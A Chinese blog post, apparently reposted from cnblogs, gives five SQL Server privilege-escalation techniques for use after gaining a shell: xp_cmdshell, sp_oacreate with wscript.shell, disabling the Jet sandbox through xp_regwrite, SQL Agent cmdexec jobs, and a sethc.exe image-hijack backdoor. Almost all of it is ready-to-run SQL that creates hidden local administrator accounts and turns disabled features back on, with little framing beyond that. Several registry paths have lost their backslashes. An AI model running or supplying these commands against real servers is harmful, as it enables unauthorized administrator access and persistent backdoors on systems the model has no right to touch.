• 通过Mssql提权的几种姿势


    本文记录针对SQL Server数据库,在拿到shell之后进行提权的5种方法。

     

    一、 xp_cmdshell提权

    上面的数据库连接需要知道sa的密码,连接之后,在下面的sql命令处执行:

    exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'

    就能成功的创建一个账户aaa并且加到管理员组:

    常见问题:

    如果执行sql语句不成功,首先检查判断xp_cmdshell是否存在:

    select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;

    返回1是存在的,返回0则需要通过xplog70.dll恢复。

    然后需要开启xp_cmdshell

    EXEC sp_configure 'show advanced options', 1 ;

        Reconfigure;

        EXEC sp_configure 'xp_cmdshell', 1 ; --开启xp_cmdshell,如果关闭,需要将这里的1改为"0"

        RECONFIGURE ; --以上命令开启用xp_cmdshell

    这四条语句一起执行,然后语句中间没有空格,执行后可启用。

     

    二、sp_oacreate和sp_oamethod提权

    declare @cmd INT;

    exec sp_oacreate 'wscript.shell',@cmd output;

    exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

    exec sp_oacreate 'wscript.shell',@cmd output;

    exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

    以上语句也是在sql一起执行,语句中间没有空格,但是执行可能会遇到问题:

    我们需要开启存储过程:

    exec sp_configure 'show advanced options', 1;

    RECONFIGURE;

    exec sp_configure 'Ole Automation Procedures',1;

    RECONFIGURE;

    以上语句也是在sql一起执行,语句中间没有空格,如果存储过程删除的话需要利用odsole70.dll恢复存储过程再执行。

    这样我们执行上面的语句之后就会创建一个hack的账户,并加到管理员组:

     

    三、沙盒提权

    这种提权是利用access的沙盒机制,关闭沙盒之后执行代码。

    首先用xp_regwrite这个存储这个存储过程对注册表进行写操作,关闭沙盒模式:

    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0

    然后利用sql语句添加一个帐号和密码都为sql$的帐号,同时加入管理员组进行提权:

    创建账户:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user sql$ 123 /add")');

    添加到管理员组:Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators sql$ /add")');

    然后就创建了账户:

    遇到的问题:

    SQL2005默认是禁用Ad Hoc Distributed,执行命令时,会提示错误。需要开启

    exec sp_configure 'show advanced options',1 ;

        reconfigure ;

        exec sp_configure 'Ad Hoc Distributed Queries',1 ;

        reconfigure;

     

    四、JOB提权

    原理是创建一个任务x,并执行命令,命令执行后的结果,将返回给文档q.txt

    首先需要启动sqlagent服务:

    exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

    然后创建任务X,这里x为任务名称,并执行命令,命令执行后的结果,将返回给文本文档q.txt

        use msdb

        exec sp_delete_job null,'x'

        exec sp_add_job 'x'

        exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'

        exec sp_add_jobserver null,'x',@@servername

        exec sp_start_job 'x';

    然后就可以看到已经创建了一个hack1的账户并加到了管理员组:

     

     

    五、利用映像劫持提权

    利用regwrite函数修改注册表,起到劫持作用:

    EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'

    然后检查是否劫持成功

        exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'

    返回没有问题 利用远程连接然后5次shift键,发现没有启动粘滞键,而是启动了cmd,然后就可以创建用户了

  • 相关阅读:
    PHP中的数据库一、MySQL优化策略综述
    LINUX下的PHP
    JS实现别踩白块小游戏
    网页实时聊天之js和jQuery实现ajax长轮询
    PHP用mb_string函数库处理与windows相关中文字符
    PHP正则中的捕获组与非捕获组
    PHP递归创建多级目录(一道面试题的解题过程)
    PHP模拟发送POST请求之五curl基本使用和多线程优化
    PHP模拟发送POST请求之四、加强file_get_contents()发送POST请求
    PHP模拟发送POST请求之三、用Telnet和fsockopen()模拟发送POST信息
  • 原文地址:https://www.cnblogs.com/hzk001/p/12889944.html
Copyright © 2020-2023  润新知